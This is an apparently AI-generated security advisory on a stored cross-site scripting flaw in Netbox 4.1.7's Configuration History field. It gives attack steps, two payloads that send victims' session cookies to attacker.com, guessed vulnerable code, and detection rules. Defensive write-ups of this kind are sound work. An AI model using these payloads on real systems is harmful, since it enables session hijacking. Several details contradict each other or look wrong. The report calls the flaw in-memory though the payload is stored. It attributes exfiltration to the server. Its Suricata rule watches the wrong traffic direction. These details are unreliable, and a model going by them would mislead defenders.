CVE-2024-56916

Executive Summary

CVE-2024-56916 is a stored cross-site scripting (XSS) vulnerability in Netbox Community version 4.1.7. An authenticated attacker can inject malicious JavaScript into the current value field of the Configuration History feature. When a victim (including other administrators) views or edits a Configuration History entry, the injected script executes in their browser. This allows the attacker to steal session cookies, perform actions on behalf of the victim, or deface the interface. The vulnerability is unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

Netbox is a Python/Django-based application distributed via PyPI. The vulnerability exists in the core application code, not in a third-party package. However, organizations using Netbox should verify they are not running a modified or malicious version from unofficial sources. The PyPI package netbox should be sourced only from the official repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): Required (R) – The victim must view or edit a Configuration History entry.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

CVSS Score: 4.8 (Medium)

Threat Level: Medium. Exploitation requires authentication, but the impact can be significant in multi-tenant environments.

Deep Dive & Mechanics

The vulnerability resides in the Configuration History feature of Netbox. When a user adds or edits a configuration entry, the current value field is rendered without proper sanitization. The application uses Django templates, but the current value field is marked as safe (|safe filter or similar), allowing HTML and JavaScript to be stored and executed.

Attack Flow:

1. Attacker authenticates to Netbox.
2. Attacker navigates to Configuration History > Add.
3. Attacker enters a payload like <script>alert('XSS')</script> in the current value field.
4. The payload is stored in the database.
5. When any user (including the attacker) views or edits that Configuration History entry, the payload executes in their browser.

Root Cause: The current value field is not escaped in the template rendering. The Django template likely uses {{ value|safe }} instead of {{ value }}.

Vulnerable vs. Patched Code

Vulnerable Code (Netbox 4.1.7):

# In templates/configuration/history.html (hypothetical)
<div class="form-group">
    <label>Current Value</label>
    <pre>{{ form.current_value.value|safe }}</pre>
</div>

Patched Code (Hypothetical Fix):

# Remove the |safe filter
<div class="form-group">
    <label>Current Value</label>
    <pre>{{ form.current_value.value }}</pre>
</div>

Explanation: The |safe filter marks the string as safe HTML, bypassing Django's auto-escaping. Removing it ensures the input is escaped.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Netbox 4.1.7 instance
• Authenticated user account

Exploit Steps:

1. Log in to Netbox.
2. Navigate to Configuration History > Add.
3. In the current value field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the entry.
5. Wait for a victim to view or edit the entry.

Alternative Payload (Session Theft):

<img src=x onerror="new Image().src='https://attacker.com/steal?cookie='+document.cookie">

Blue Team

Detection:

• Monitor logs for suspicious current value entries containing <script> or onerror patterns.
• Use WAF rules to block HTML tags in configuration fields.

Honeypot:

• Create a fake Configuration History entry with a benign payload to detect attackers.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from Netbox server.
  • Suspicious current value fields in database containing <script> tags.
• Host:
  • Log entries showing current_value with HTML/JavaScript.
  • Unusual session activity from admin accounts.
• File:
  • No file-based IOCs; vulnerability is in-memory.

Detection Engineering

YARA Rule

rule CVE_2024_56916_Netbox_XSS {
    meta:
        description = "Detects XSS payloads in Netbox Configuration History"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56916"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Netbox Configuration History XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in Netbox Configuration History fields
author: Valters IT
logsource:
    category: application
    product: netbox
detection:
    selection:
        event: "configuration_history_add"
        current_value|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in configuration values (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56916 Netbox XSS Payload in Configuration History"; flow:to_server,established; content:"POST"; http_method; content:"/configuration/history/add/"; http_uri; content:"current_value"; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Configuration History if not needed.
2. Restrict access to Configuration History to trusted admins only.
3. Implement WAF rules to block HTML tags in current_value fields.

Long-Term Fix:

• Apply the patch by removing the |safe filter from the template.
• Upgrade to a patched version when available.

Workaround:

• Use a reverse proxy to sanitize input/output.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.